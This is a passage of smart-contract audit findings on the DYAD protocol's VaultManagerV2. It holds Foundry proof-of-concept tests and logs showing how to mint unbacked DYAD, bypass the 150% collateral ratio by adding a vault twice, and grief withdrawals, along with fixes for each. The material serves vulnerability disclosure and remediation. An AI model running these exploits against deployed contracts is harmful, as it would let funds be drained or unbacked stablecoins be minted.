DYAD - Circolors's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L75 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L88

Vulnerability details

Root Cause

Vaults are licensed for exogenous vaults and Kerosene vaults using the same licenser, allowing a Kerosene vault to be added as an exogenous vault.

Impact

A user is able to mint DYAD using only Kerosene as collateral, with no exogenous collateral, if a bounded vault is used, it may be possible to drain the pool due to being able to mint more DYAD than USD value in Kerosene held.

Note Regarding Vault Licenser

VaultManagerV2's addKerosene() erroneously does a vault license check using keroseneManager.isLicensed(vault) at VaultManagerV2.sol#L88 making it impossible to add Kerosene vaults to Notes. As clarified by the sponsor in this video DYAD V2- Kerosene - Code4rena Audit #2, the vaults in keroseneManager are intended to be used for kerosene value calculation and kerosene vaults are not supposed to be added there. We updated the relevant Kerosene vault license checks to use vaultLicenser.isLicensed(vault) instead as it is aligned with the deployment script at Deploy.V2.s.sol#L95 since unboundedKerosineVault is added as a licensed vault with vaultLicenser.add(address(unboundedKerosineVault))

The two following code changes were made to VaultManagerV2.sol so that the unbounded kerosene vault can be added as a kerosene vault without further changes in the vaults, the vault manager, or the deployment script.

VaultManagerV2.sol#L88 From:

if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();

To:

if (!vaultLicenser.isLicensed(vault))                   revert VaultNotLicensed();

and VaultManagerV2.sol#L280 From:

if (keroseneManager.isLicensed(address(vault))) {

To:

if (vaultLicenser.isLicensed(address(vault))) {

Proof of Concept

The following test script demonstrates that a user can mint DYAD with no exogenous collateral using a fork test.

forge t --mt test_noExoMintDyad --fork-url <MAINNET_RPC_URL> -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {ERC20} from "lib/solmate/src/tokens/ERC20.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {WETH} from "../WETH.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";
import {Vault} from "../../src/core/Vault.sol";


contract V2TestNoExoMintDyad is Test, Parameters {

  Contracts contracts;
  address alice;
  uint aliceTokenId;

  function setUp() public {
    contracts = new DeployV2().run();

    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    alice = makeAddr("alice");
    vm.prank(MAINNET_OWNER);
    aliceTokenId = DNft(MAINNET_DNFT).mintInsiderNft(alice);    

    // drop 1000 eth into ethVault for initial TVL used for calculating kerosene price
    vm.deal(address(contracts.ethVault), 1000 ether);
    vm.prank(address(contracts.ethVault));
    WETH(payable(MAINNET_WETH)).deposit{value: 1000 ether}();

    // send 1000 kerosene to alice
    vm.prank(MAINNET_OWNER);
    Kerosine(MAINNET_KEROSENE).transfer(alice, 10000 ether);
  }

  function logValues(uint _tokenId, address _user, string memory _name) internal view {
    uint userExoCollat = contracts.vaultManager.getNonKeroseneValue(_tokenId);
    uint userKeroCollat = contracts.vaultManager.getKeroseneValue(_tokenId);
    uint userDyadBalance = ERC20(MAINNET_DYAD).balanceOf(_user);
    uint userKeroseneBalance = ERC20(MAINNET_KEROSENE).balanceOf(_user);
    uint collatRatio = contracts.vaultManager.collatRatio(_tokenId);
    uint userKeroValue = userKeroseneBalance * Vault(address(contracts.unboundedKerosineVault)).assetPrice();
    
    console.log("STATE >", _name);
    console.log("User DYAD Balance          :", userDyadBalance / 1e18);
    console.log("User Kerosene Balance      :", userKeroseneBalance / 1e18);
    console.log("User Kerosene Value ($)    :", userKeroValue / 1e26);
    console.log("Exo Vault Collateral ($)   :", userExoCollat / 1e18);
    console.log("Kero Vault Collateral ($)  :", userKeroCollat / 1e18);
    if (userDyadBalance > 0) {
        console.log("Collateral Ratio (%%)       :", collatRatio / 1e16);
    } else {
        console.log("Collateral Ratio (%%)       : -");
    }
    console.log("");
  }

  function mintWithVault(Vault vault) public {
    vm.startPrank(alice);
    logValues(aliceTokenId, alice, "Start: user has 10000 Kerosene");

    // deposit 10000 kerosene into kerosene vault
    Kerosine(MAINNET_KEROSENE).approve(address(contracts.vaultManager), 10000 ether);
    contracts.vaultManager.deposit(aliceTokenId, address(vault), 10000 ether);

    // Adding kerosene vault as exogenous vault
    contracts.vaultManager.add(aliceTokenId, address(vault));
    logValues(aliceTokenId, alice, "Add the kerosene vault as an exogenous vault");

    // Mint DYAD
    contracts.vaultManager.mintDyad(aliceTokenId, ((vault.assetPrice()-1e4) * 1e15) / 3, alice);
    logValues(aliceTokenId, alice, "Mint as much DYAD as possible using no exogenous collateral");

    vm.stopPrank();
  }

  function test_noExoMintDyadUnbounded() public {
    mintWithVault(Vault(address(contracts.unboundedKerosineVault)));
  }

  function test_noExoMintDyadBounded() public {
    // add boundedKerosineVault as a licensed vault since it was commented out in the deploy script
    vm.prank(MAINNET_OWNER);
    contracts.vaultLicenser.add(address(contracts.boundedKerosineVault));

    // set the unbounded kerosine vault for the bounded kerosine vault
    vm.prank(MAINNET_OWNER);
    contracts.boundedKerosineVault.setUnboundedKerosineVault(contracts.unboundedKerosineVault);

    mintWithVault(Vault(address(contracts.boundedKerosineVault)));
  }
}

Console output

Logs using the unbounded vault - test_noExoMintDyadUnbounded():
  STATE > Start: user has 10000 Kerosene
  User DYAD Balance          : 0
  User Kerosene Balance      : 10000
  User Kerosene Value ($)    : 514
  Exo Vault Collateral ($)   : 0
  Kero Vault Collateral ($)  : 0
  Collateral Ratio (%)       : -
  
  STATE > Add the kerosene vault as an exogenous vault
  User DYAD Balance          : 0
  User Kerosene Balance      : 0
  User Kerosene Value ($)    : 0
  Exo Vault Collateral ($)   : 514
  Kero Vault Collateral ($)  : 0
  Collateral Ratio (%)       : -
  
  STATE > Mint as much DYAD as possible using no exogenous collateral
  User DYAD Balance          : 342
  User Kerosene Balance      : 0
  User Kerosene Value ($)    : 0
  Exo Vault Collateral ($)   : 514
  Kero Vault Collateral ($)  : 0
  Collateral Ratio (%)       : 150

========================================

Logs using the bounded vault - test_noExoMintDyadBounded():
  STATE > Start: user has 10000 Kerosene
  User DYAD Balance          : 0
  User Kerosene Balance      : 10000
  User Kerosene Value ($)    : 514
  Exo Vault Collateral ($)   : 0
  Kero Vault Collateral ($)  : 0
  Collateral Ratio (%)       : -
  
  STATE > Add the kerosene vault as an exogenous vault
  User DYAD Balance          : 0
  User Kerosene Balance      : 0
  User Kerosene Value ($)    : 0
  Exo Vault Collateral ($)   : 1029
  Kero Vault Collateral ($)  : 0
  Collateral Ratio (%)       : -
  
  STATE > Mint as much DYAD as possible using no exogenous collateral
  User DYAD Balance          : 685
  User Kerosene Balance      : 0
  User Kerosene Value ($)    : 0
  Exo Vault Collateral ($)   : 1029
  Kero Vault Collateral ($)  : 0
  Collateral Ratio (%)       : 150

As you can see, the user is able to mint DYAD with no exogenous collateral, with the possibility of up to 2/3 value of their Kerosene balance in USD using an unbounded vault at 150% collateral ratio. When a bounded Kerosene vault is used, the user can mint up to 4/3 of the value of their Kerosene balance in USD, potentially draining the entire pool due to being able to mint more DYAD than value in Kerosene.

Tools Used

Manual testing

Recommended Mitigation Steps

Keep separate lists of licensed vaults for exogenous and Kerosene versions of the vaults.

Changes to VaultManagerV2

1. Add a keroseneVaultLicenser at VaultManagerV2.sol#L30

Licenser public immutable vaultLicenser;
Licenser public immutable keroseneVaultLicenser;

2. Modify the constructor to accept the new licenser at VaultManagerV2.sol#L49-L5

constructor(
  DNft          _dNft,
  Dyad          _dyad,
  Licenser      _licenser,
  Licenser      _keroseneLicenser,
) {
  dNft          = _dNft;
  dyad          = _dyad;
  vaultLicenser = _licenser;
  keroseneVaultLicenser = _keroseneLicenser;
}

3. Use the new Kerosene vault licenser in the addKerosene function at VaultManagerV2.sol#L88

if (!keroseneVaultLicenser.isLicensed(vault)) revert VaultNotLicensed();

4. Use the new Kerosene vault licenser in the getKeroseneValue function VaultManagerV2.sol#L280

if (keroseneVaultLicenser.isLicensed(address(vault))) {

Changes to DeployV2

1. Add a keroseneVaultLicenser at Deploy.V2.s.sol#L39

Licenser vaultLicenser = new Licenser();
Licenser keroseneVaultLicenser = new Licenser();

2. Include keroseneVaultLicenser when creating vaultManager at Deploy.V2.s.sol#L42-L46

VaultManagerV2 vaultManager = new VaultManagerV2(
  DNft(MAINNET_DNFT),
  Dyad(MAINNET_DYAD),
  vaultLicenser,
  keroseneVaultLicenser
);

3. Use the new keroseneVaultLicenser when licensing Kerosene vaults at Deploy.V2.s.sol#L95-L96

keroseneVaultLicenser.add(address(unboundedKerosineVault));
keroseneVaultLicenser.add(address(boundedKerosineVault));

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L76 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L89

Vulnerability details

Root Cause

There are no checks that a vault cannot be added twice to the same dNFT via VaultManagerV2's add function and addKerosene function. This allows a user to add a non-Kerosene vault also as a Kerosene vault, effectively doubling the collateralization ratio, ultimately bypassing the 150% MIN_COLLATERIZATION_RATIO restriction.

Impact

A user is able to bypass the 150% MIN_COLLATERIZATION_RATIO restriction when minting DYAD to as low as 100% collateralization ratio.

Proof of Concept

The following test script demonstrates that a user can bypass the 150% MIN_COLLATERIZATION_RATIO restriction when minting new DYAD.

forge t --mt test_bypassMinCRMintDyad --fork-url <MAINNET_RPC_URL> -vv

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {ERC20} from "lib/solmate/src/tokens/ERC20.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {WETH} from "../WETH.sol";
import {DNft} from "../../src/core/DNft.sol";
import {Vault} from "../../src/core/Vault.sol";

contract V2TestBypassMinCRMintDyad is Test, Parameters {

  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
  }

  function logValues(uint _tokenId, address _user, string memory _name) internal view {
    uint wethBalance = WETH(payable(MAINNET_WETH)).balanceOf(_user);
    uint userDyadBalance = ERC20(MAINNET_DYAD).balanceOf(_user) / 1e18;
    uint ethPrice = Vault(contracts.ethVault).assetPrice();
    uint wethBalanceUSD = ((wethBalance * ethPrice) / 1e26);
    uint wethVaultBalanceUSD = Vault(contracts.ethVault).getUsdValue(_tokenId) / 1e18;
    uint totalNotesValue = contracts.vaultManager.getTotalUsdValue(_tokenId) / 1e18;
    uint collatRatio = contracts.vaultManager.collatRatio(_tokenId) / 1e16;
    uint totalAssets = wethBalanceUSD + userDyadBalance;
    console.log("STATE > ", _name);
    console.log("User WETH Balance (USD)  :", wethBalanceUSD);
    console.log("WETH Vault (USD)         :", wethVaultBalanceUSD);
    console.log("Notes Value (USD)        :", totalNotesValue);
    if (userDyadBalance > 0) {
        console.log("Notes CR (%%)             :", collatRatio);
    } else {
        console.log("Notes CR (%%)             : -");
    }
    console.log("DYAD Balance             :", userDyadBalance);
    console.log("User WETH + DYAD (USD)   :", totalAssets);
    console.log("");
  }

  function test_bypassMinCRMintDyad() public {
    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    address alice = makeAddr("alice");
    vm.prank(MAINNET_OWNER);
    uint aliceTokenId = DNft(MAINNET_DNFT).mintInsiderNft(alice);    

    // give alice 1000 WETH
    vm.deal(alice, 1000 ether);
    vm.prank(alice);
    WETH(payable(MAINNET_WETH)).deposit{value: 1000 ether}();

    logValues(aliceTokenId, alice, "Start with 1000 WETH");

    vm.startPrank(alice);

    // add the WETH vault to vault manager as exogenous vault
    contracts.vaultManager.add(aliceTokenId, address(contracts.ethVault));

    // deposit 1000 WETH into the WETH vault
    WETH(payable(MAINNET_WETH)).approve(address(contracts.vaultManager), 1000 ether);
    contracts.vaultManager.deposit(aliceTokenId, address(contracts.ethVault), 1000 ether);
    logValues(aliceTokenId, alice, "Deposit 1000 WETH into WETH vault");

    // mint maximum amount of DYAD possible at 150% CR
    contracts.vaultManager.mintDyad(aliceTokenId, Vault(contracts.ethVault).getUsdValue(aliceTokenId) * 2 / 3, alice);
    logValues(aliceTokenId, alice, "Minted DYAD at 150% CR (normal case)");

    // here we add the same WETH vault as a Kerosene vault
    contracts.vaultManager.addKerosene(aliceTokenId, address(contracts.ethVault));
    logValues(aliceTokenId, alice, "Add the same WETH vault as a Kerosene vault causing CR% to double");

    // mint maximum amount of DYAD possible
    contracts.vaultManager.mintDyad(aliceTokenId, Vault(contracts.ethVault).getUsdValue(aliceTokenId) - ERC20(MAINNET_DYAD).balanceOf(alice), alice);
    logValues(aliceTokenId, alice, "Mint DYAD up to 100% actual CR (protocol erroneously thinks CR is 200%)");

    vm.stopPrank();
  }
}

Console output

Logs:
  STATE >  Start with 1000 WETH
  User WETH Balance (USD)  : 3169861
  WETH Vault (USD)         : 0
  Notes Value (USD)        : 0
  Notes CR (%)             : -
  DYAD Balance             : 0
  User WETH + DYAD (USD)   : 3169861
  
  STATE >  Deposit 1000 WETH into WETH vault
  User WETH Balance (USD)  : 0
  WETH Vault (USD)         : 3169861
  Notes Value (USD)        : 3169861
  Notes CR (%)             : -
  DYAD Balance             : 0
  User WETH + DYAD (USD)   : 0
  
  STATE >  Minted DYAD at 150% CR (normal case)
  User WETH Balance (USD)  : 0
  WETH Vault (USD)         : 3169861
  Notes Value (USD)        : 3169861
  Notes CR (%)             : 150
  DYAD Balance             : 2113241
  User WETH + DYAD (USD)   : 2113241
  
  STATE >  Add the same WETH vault as a Kerosene vault causing CR% to double
  User WETH Balance (USD)  : 0
  WETH Vault (USD)         : 3169861
  Notes Value (USD)        : 6339723
  Notes CR (%)             : 300
  DYAD Balance             : 2113241
  User WETH + DYAD (USD)   : 2113241
  
  STATE >  Mint DYAD up to 100% actual CR (protocol erroneously thinks CR is 200%)
  User WETH Balance (USD)  : 0
  WETH Vault (USD)         : 3169861
  Notes Value (USD)        : 6339723
  Notes CR (%)             : 200
  DYAD Balance             : 3169861
  User WETH + DYAD (USD)   : 3169861

As you can see, the user ended up with the same amount of DYAD as WETH in USD value.

Tools Used

Manual testing

Recommended Mitigation Steps

Option 1: Introduce Vault Types to Enforce Vault Type When Adding a Vault

If the intention is for any vaults to be only used as either an exogenous vault or a Kerosene vault, then additional vault type checks are needed in VaultManagerV2's add function and addKerosene function.

A possible way of doing so is to introduce ERC-165 interfaces IDs for two newly defined IExogenousVault and IKeroseneVault interfaces that individual vaults implement. For example:

1. Define the IExogenousVault and IKeroseneVault interfaces:

interface IExogenousVault {
  function supportsInterface(bytes4 interfaceId) external view returns (bool);
  // ...
  // Other definitions as needed
  // ...
}
interface IKeroseneVault {
  function supportsInterface(bytes4 interfaceId) external view returns (bool);
  // ...
  // Other definitions as needed
  // ...
}

2. Vault implementations would need to inherit from and support ERC-165 interfaces for IExogenousVault or IKeroseneVault:

// Inheriting from ERC-165
contract Vault is IVault, ERC165 {
contract VaultWstEth is IVault, ERC165 {
abstract contract KerosineVault is IVault, Owned(msg.sender), ERC165 {

// Supporting ERC165 in exogenous vaults
function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) {
  return interfaceId == type(IExogenousVault).interfaceId || super.supportsInterface(interfaceId);
}

// Supporting ERC165 in Kerosene vaults
function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) {
  return interfaceId == type(IKeroseneVault).interfaceId || super.supportsInterface(interfaceId);
}

3. Additional code is needed to check for checking the vault type when adding a vault:

// Check vault type when adding an exogenous vault
vault.supportsInterface(type(IExogenousVault).interfaceId)

// Check vault type when adding a Kerosene vault
vault.supportsInterface(type(IKeroseneVault).interfaceId)

Option 2: Additional VaultAlreadyAdded() Checks in VaultManagerV2

Alternatively, if the intention is for a non-Kerosene vault to have the flexibility to be addable as either an exogenous or a Kerosene vault, then additional VaultAlreadyAdded() error checks are needed to ensure that the vault does not already exist in either list. This would prevent a vault from being added twice as both an exogenous vault and a Kerosene vault.

1. Replace the VaultAlreadyAdded() code at VaultManagerV2.sol#L76 with:

if (vaults[id].contains(vault)) revert VaultAlreadyAdded();
if (vaultsKerosene[id].contains(vault)) revert VaultAlreadyAdded();
vaults[id].add(vault);

1. Replace the VaultAlreadyAdded() code at VaultManagerV2.sol#L89 with:

if (vaults[id].contains(vault)) revert VaultAlreadyAdded();
if (vaultsKerosene[id].contains(vault)) revert VaultAlreadyAdded();
vaultsKerosene[id].add(vault);

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L143

Vulnerability details

Impact As a means of providing flash loan protection, VaultManagerV2 has the mapping idToBlockOfLastDeposit which ensures that no token id can deposit and then withdraw within the same block. However VaultManagerV2::deposit can be called by anyone, regardless of whether they are the token owner or not. Furthermore, deposit also allows users to pass an amount of zero. The combination of these two things means that a malicious user could stop a user (or all users) from withdrawing from the protocol by frontrunning the users VaultManagerV2::withdraw transaction with a zero value deposit to their token id. The malicious user could do this for all attempted withdrawals from the protocol meaning users would have to use a private mempool such as flashbots for their withdrawal to be successful.

Proof Of Concept Add the following test to v2.t.sol to highlight this:

  function testGriefWithdraw() public {
    // Set up alice
    licenseVaultManager();
    address alice = makeAddr("alice");
    uint aliceTokenId = sendNote(alice);
    getWETH(alice, 10 ether);
    vm.startPrank(alice);
    contracts.vaultManager.add(aliceTokenId, address(contracts.ethVault));
    // Alice deposits WETH
    WETH(payable(MAINNET_WETH)).approve(address(contracts.vaultManager), 10 ether);
    contracts.vaultManager.deposit(aliceTokenId, address(contracts.ethVault), 10 ether);
    vm.stopPrank();

    // Blocks pass
    vm.roll(block.number + 42);

    // Bob griefs withdraw with 0 value deposit before Alice's withdraw
    address bob = makeAddr("bob");
    vm.prank(bob);
    contracts.vaultManager.deposit(aliceTokenId, address(contracts.ethVault), 0);

    // Alice tries to withdraw
    vm.startPrank(alice);
    vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
    contracts.vaultManager.withdraw(aliceTokenId, address(contracts.ethVault), 5 ether, alice);
  }

Recommended Mitigation If the team wishes to keep the idToBlockOfLastDeposit mapping as a means of flash loans protection it may be necessary to limit deposit transactions to include the isDNftOwner modifier to remove the ability for a malicious user to grief their withdrawals.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L148

Vulnerability details

Impact VaultManagerV2 has one withdraw function responsible for withdrawing both exogenous collateral (weth/wsteth) and endogenous collateral (Kerosene). However the function expects the vault passed as an argument to have an oracle method. This is the case for Vault contracts, but not the case for the BoundedKerosineVault or UnboundedKerosineVault contracts. This means that whenever a user attempts to withdraw Kerosene deposited into the contract the call will revert, meaning the Kerosene remains stuck in the contract permanently.

Proof Of Concept Add the following test to v2.t.sol to highlight this.

  function testCannotWithdrawKero() public {
    // Set up alice
    licenseVaultManager();
    address alice = makeAddr("alice");
    uint aliceTokenId = sendNote(alice);
    sendKerosene(alice, 10_000 ether);

    // Alice deposits kerosene into the protocol
    vm.startPrank(alice);
    contracts.vaultManager.addKerosene(aliceTokenId, address(contracts.unboundedKerosineVault));
    Kerosine(MAINNET_KEROSENE).approve(address(contracts.vaultManager), 10_000 ether);
    contracts.vaultManager.deposit(aliceTokenId, address(contracts.unboundedKerosineVault), 10_000 ether);
    
    assertEq(ERC20(MAINNET_KEROSENE).balanceOf(alice), 0);

    vm.roll(block.number + 42);
    
    // Alice attempts to withdraw her kerosene but the tx reverts
    contracts.vaultManager.withdraw(aliceTokenId, address(contracts.unboundedKerosineVault), 10_000 ether, alice);
  }

The test reverts with the following stack traces:

    ├─ [9243] VaultManagerV2::withdraw(645, UnboundedKerosineVault: [0x416C42991d05b31E9A6dC209e91AD22b79D87Ae6], 10000000000000000000000 [1e22], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
    │   ├─ [558] 0xDc400bBe0B8B79C07A962EA99a642F5819e3b712::ownerOf(645) [staticcall]
    │   │   └─ ← [Return] alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]
    │   ├─ [2623] 0x305B58c5F6B5b6606fb13edD11FbDD5e532d5A26::mintedDyad(VaultManagerV2: [0xA8452Ec99ce0C64f20701dB7dD3abDb607c00496], 645) [staticcall]
    │   │   └─ ← [Return] 0
    │   ├─ [261] UnboundedKerosineVault::asset() [staticcall]
    │   │   └─ ← [Return] 0xf3768D6e78E65FC64b8F12ffc824452130BD5394
    │   ├─ [262] 0xf3768D6e78E65FC64b8F12ffc824452130BD5394::decimals() [staticcall]
    │   │   └─ ← [Return] 18
    │   ├─ [214] UnboundedKerosineVault::oracle() [staticcall]
    │   │   └─ ← [Revert] EvmError: Revert
    │   └─ ← [Revert] EvmError: Revert

Recommended Mitigation Given that the value of exogenous and endogenous collateral is calculated differently it is necessary to handle withdrawal of exogenous collteral and Kerosene differently. It would avoid added complexity to the function logic to have two different withdraw and withdrawKerosene functions.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L214

Vulnerability details

Impact VaultManagerV2 checks a DNft's exogenous collateral is at least equal to their amount of minted Dyad in both withdraw and mintDyad. However after the Dyad is minted there is nothing to require that that ratio remains at least 1:1. This is because to liquidate a user it is only necessary that their collateralization ratio falls below MIN_COLLATERIZATION_RATIO which can be covered by the users Kerosene holdings.

Furthermore as all the collateral in the protocol will be significantly correlated to the price of Ether, if the price of Ether was to drop a large amount it would very likely mean that multiple users drop below the 1:1 exogenous collateral to dyad minted ratio, potentially resulting in the overall TVL of the protocol falling below the amount of dyad minted. This breaks the main invariant of the protocol and would lead to the stable coin being undercollateralized.

As well as this, UnboundedKeroseneVault::assetPrice relies on TVL being greater than dyad.totalSupply as the following calculation will otherwise cause an underflow revert:

  uint numerator   = tvl - dyad.totalSupply();

Proof of Concept Testing this is currently complicated because of the existing issue of dyad.totalSupply() being non-zero based on dyad minted from the original VaultManager contract.

However the idea is relatively simple:

1. Protocol launches, users deposit collateral & kerosene.
2. User wish to mint dyad at as close to a 1:1 ratio to their collateral as possible to be most capital efficient.
3. The users collateral ratio is covered significantly by their Kerosene holdings.
4. The price of Ether drops 10%.
5. The users collateral ratio may still remain above 150% based on their Kerosene holdings (meaning their position cannot be liquidated)
6. However the tvl of the protocl is now likely less than the total supply of dyad in circulation, breaking the core invariant of the protocol.

Add the following test to v2.t.sol for an example highlighting this:

  function testCollateralRatioBreak() public {
    licenseVaultManager();
    // Dummy vault returns eth price to be $3000 until changed
    (Vault dummyWeth, DummyOracle dummyOracle) = addDummyWethVault();
    uint keroseneAmount = 400_000 ether;

    // Set up alice, bob and chad
    address alice = makeAddr("alice");
    uint aliceTokenId = sendNote(alice);
    getWETH(alice, 5 ether);
    sendKerosene(alice, keroseneAmount); 

    address bob = makeAddr("bob");
    uint bobTokenId = sendNote(bob);
    getWETH(bob, 5 ether);
    sendKerosene(bob, keroseneAmount);

    address chad = makeAddr("chad");
    uint chadTokenId = sendNote(chad);
    getWETH(chad, 5 ether);
    sendKerosene(chad, keroseneAmount);

    address[] memory depositors = new address[](3);
    depositors[0] = alice;
    depositors[1] = bob;
    depositors[2] = chad;

    uint[] memory tokenIds = new uint[](3);
    tokenIds[0] = aliceTokenId;
    tokenIds[1] = bobTokenId;
    tokenIds[2] = chadTokenId;

    // Add TVL to match value of currently minted Dyad on mainnet (~$625k)
    boostTVL(address(dummyWeth), 209 ether);
    // Add dummyWeth vault to kerosene manager
    vm.prank(MAINNET_OWNER);
    contracts.kerosineManager.add(address(dummyWeth));

    // The three users deposit their ETH & Kerosene
    for (uint i; i < depositors.length; ++i) {
      address user = depositors[i];
      uint tokenId = tokenIds[i];

      vm.startPrank(user);
      contracts.vaultManager.add(tokenId, address(dummyWeth));
      contracts.vaultManager.addKerosene(tokenId, address(contracts.unboundedKerosineVault));

      WETH(payable(MAINNET_WETH)).approve(address(contracts.vaultManager), 5 ether);
      contracts.vaultManager.deposit(tokenId, address(dummyWeth), 5 ether);

      Kerosine(MAINNET_KEROSENE).approve(address(contracts.vaultManager), keroseneAmount);
      contracts.vaultManager.deposit(tokenId, address(contracts.unboundedKerosineVault), keroseneAmount);
      contracts.vaultManager.mintDyad(tokenId, 10000 ether, user);

      vm.stopPrank();
    }

    // Lower value of eth (drops 10%) 
    dummyOracle.setAnswer(270000);
    
    // Attempt to get kerosene value reverts because of tvl - dyad total supply underflow
    contracts.vaultManager.getKeroseneValue(aliceTokenId);
  }

  // Helper functions

  function sendNote(address _to) internal returns(uint) {
    vm.startPrank(MAINNET_OWNER);
    uint tokenId = DNft(MAINNET_DNFT).mintInsiderNft(_to);    
    vm.stopPrank();
    return tokenId;
  }

  function sendKerosene(address _to, uint _amount) internal {
    vm.startPrank(MAINNET_OWNER);
    Kerosine(MAINNET_KEROSENE).transfer(_to, _amount);
    vm.stopPrank();
  }

  function licenseVaultManager() internal {
    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));
  }

  function addDummyWethVault() internal returns(Vault, DummyOracle) {
    // Set up a dummy weth vault to help simulate price movement
    DummyOracle dummyOracle = new DummyOracle();
    Vault dummyWeth = new Vault(contracts.vaultManager,ERC20(MAINNET_WETH), IAggregatorV3(address(dummyOracle))); 
    vm.prank(MAINNET_OWNER);
    contracts.vaultLicenser.add(address(dummyWeth));
    return (dummyWeth, dummyOracle);
  }

  function getWETH(address _to, uint _amount) internal {
    vm.deal(_to, _amount);
    vm.startPrank(_to);
    WETH(payable(MAINNET_WETH)).deposit{value: _amount}();
    vm.stopPrank();
  }

  function boostTVL(address _vault, uint _amount) internal {
    getWETH(_vault, _amount);
  }

The test returns the following error:

[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] testCollateralRatioBreak() (gas: 2881820)

Recommended Mitigation It's likely necessary that VaultManagerV2::liquidate considers a DNft at risk of liquidation if it's collateral ratio is < 150% OR it's exogenous collateral ratio is below 100%. This would protect the Dyad stable coin from being under collateralised as users would be able to liquidate these positions and return the tvl:dyad supply ratio back to a positive one.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L65

Vulnerability details

Impact The value of deterministic value of Kerosene in the protocol is calculated as (T - D) / K where: T = The total exogenous value locked in the protocol (weth/wsteth) D = The total supply of Dyad stable coin K = The total supply of Kerosene (minus that in the owner multisig)

This is calculated in UnboundedKeroseneVault::assetPrice as shown here:

  function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

However, given that the Dyad contract is already live on mainnet and the total supply is ~630,000 (here) this function will always fail until tvl reaches this figure due to the following line: uint numerator = tvl - dyad.totalSupply(), meaning the main invariant of the protocol will be immediately broken.

This means that users will be unable to mint dyad until the value of the TVL deposited into the contract is greater than dyad.totalSupply().

The issue arises because there is a VaultManagerV1 contract already on mainnet able to mint dyad, and as long as any dyad minted by the V1 contract remains in circulation the accounting done in assetPrice will be off as Kerosene price is being calculated by all Dyad in circulation but only the TVL in the VaultManagerV2 instance and not the collateral remaining in the V1 contract. This means it will always be a possibility that users with sufficient collateral posted to be unable to mint dyad.

Proof Of Concept Add the following test to v2.t.sol to highlight this:

  function testWithdrawTvlUnderflow() public {
    // Set up alice
    licenseVaultManager();
    address alice = makeAddr("alice");
    uint aliceTokenId = sendNote(alice);
    getWETH(alice, 10 ether);
    sendKerosene(alice, 1000 ether);
    
    // Alice deposits collateral and kerosene
    vm.startPrank(alice);
    contracts.vaultManager.add(aliceTokenId, address(contracts.ethVault));
    contracts.vaultManager.addKerosene(aliceTokenId, address(contracts.unboundedKerosineVault));
    WETH(payable(MAINNET_WETH)).approve(address(contracts.vaultManager), 10 ether);
    Kerosine(MAINNET_KEROSENE).approve(address(contracts.vaultManager), 1000 ether);
    contracts.vaultManager.deposit(aliceTokenId, address(contracts.ethVault), 10 ether);
    contracts.vaultManager.deposit(aliceTokenId, address(contracts.unboundedKerosineVault), 1000 ether);

    // Alice tries to mint dyad
    contracts.vaultManager.mintDyad(aliceTokenId, 100 ether, alice);
  }

The test reverts with the following error:

[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] testWithdrawTvlUnderflow() (gas: 773098)

Recommended Mitigation Fixing this cleanly may require either minting a V2 Dyad ERC20 token which would encourage users to migrate to the V2 vault manager & ensure that the calculation in assetPrice uses the correct figures. Alternately as dyad.totalSupply() takes into account dyad minted from both versions of the protocol it may be necessary to also take into account collateral locked in the version one of the protocol when calculating Kerosene price.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205

Vulnerability details

